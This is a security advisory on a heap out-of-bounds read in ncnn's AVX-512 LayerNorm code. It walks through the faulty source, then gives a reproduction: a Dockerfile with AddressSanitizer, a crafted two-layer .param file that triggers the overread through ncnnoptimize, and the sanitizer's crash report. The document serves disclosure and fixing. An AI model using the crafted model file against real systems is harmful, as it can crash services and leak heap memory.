AVX512 LayerNorm Heap Out-Of-Bounds Read

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/layernorm_x86.cpp:429 in layernorm
Sanitizer verdict: unknown-crash

Summary

A model that declares LayerNorm with affine_size=1 while feeding it a 1024-element blob makes the x86 AVX-512 kernel stream 64-byte loads across one-float gamma and beta allocations, reading well past both and aborting the process. The attacker only needs to supply a .param file; ncnnoptimize accepts null as the weight file and synthesizes the affine arrays at the declared length. The out-of-bounds heap bytes are used as normalization scale and bias, so they are folded into the layer's output before the crash.

Detail

LayerNorm::load_param reads affine_size from parameter key 0, and LayerNorm::load_model allocates gamma_data and beta_data with exactly affine_size elements:

// src/layer/layernorm.cpp:23
int LayerNorm::load_model(const ModelBin& mb)
{
    if (affine == 0)
        return 0;

    gamma_data = mb.load(affine_size, 1);
    if (gamma_data.empty())
        return -100;

    beta_data = mb.load(affine_size, 1);
    if (beta_data.empty())
        return -100;

The x86 forward path never revalidates that length. For a 1-D blob it simply asserts the invariant in a comment and passes the blob's own width as the element count:

// src/layer/x86/layernorm_x86.cpp:526
    if (dims == 1)
    {
        // assert affine_size == w

        float* ptr = bottom_top_blob;
        layernorm(ptr, gamma_data, beta_data, eps, w * elempack, 1);
    }

Inside layernorm, the unpacked loop advances all three pointers in lockstep by 16 floats per iteration, but only ptr is backed by size elements:

// src/layer/x86/layernorm_x86.cpp:426
            for (; i + 15 < size; i += 16)
            {
                __m512 _p = _mm512_loadu_ps(ptr);
                __m512 _gamma = _mm512_loadu_ps(gamma_ptr);
                __m512 _beta = _mm512_loadu_ps(beta_ptr);

The PoC uses Input data 0 1 data 0=1024 and LayerNorm ln 1 1 data out 0=1 2=1, so size = 1024 while gamma_data and beta_data are one-float Mats living in ncnn's 84-byte minimum allocation (21 floats). The first iteration (i = 0) reads bytes 0-63 and stays inside; the second iteration (i = 16) reads bytes 64-127 from a region that ends at byte 84 — exactly the 64-byte read at region_start + 64 in the sanitizer report. The loop is bounded only by size, so it would keep marching for another 62 iterations.

Reproduce

mkdir -p ncnn-poc-avx512-layernorm-heap-out-of-bounds-read && cd ncnn-poc-avx512-layernorm-heap-out-of-bounds-read

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=1024
LayerNorm ln 1 1 data out 0=1 2=1
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: unknown-crash on address 0x50e000000080 at pc 0x5973a4a39f38 bp 0x7ffd3a9cf1f0 sp 0x7ffd3a9cf1e0
READ of size 64 at 0x50e000000080 thread T0
    #0 0x5973a4a39f37 in _mm512_loadu_ps(void const*) /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342
    #1 0x5973a4a39f37 in layernorm /ncnn/build/src/layer/x86/layernorm_x86_avx512.cpp:429
    #2 0x5973a4a3bf11 in ncnn::LayerNorm_x86_avx512::forward_inplace(ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/layernorm_x86_avx512.cpp:531
    #3 0x59739c62cfd8 in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:711
    #4 0x59739c61fb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #5 0x59739c67f9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #6 0x59739c5113c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #7 0x59739c58eeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #8 0x7683c85ef1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x7683c85ef28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x59739c50e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
    #0 0x7683c8c68f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x59739c5ddbc5 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x59739c5ddbc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
    #3 0x59739c612c1a in ncnn::ModelBinFromDataReader::load(int, int) const /ncnn/src/modelbin.cpp:309
    #4 0x5973a4a09619 in ncnn::LayerNorm::load_model(ncnn::ModelBin const&) /ncnn/src/layer/layernorm.cpp:28
    #5 0x59739c67aa84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
    #6 0x59739c58ec34 in main /ncnn/tools/ncnnoptimize.cpp:2793
    #7 0x7683c85ef1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7683c85ef28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x59739c50e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: unknown-crash /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342 in _mm512_loadu_ps(void const*)

Credit

Zheng Yu @ DepthFirst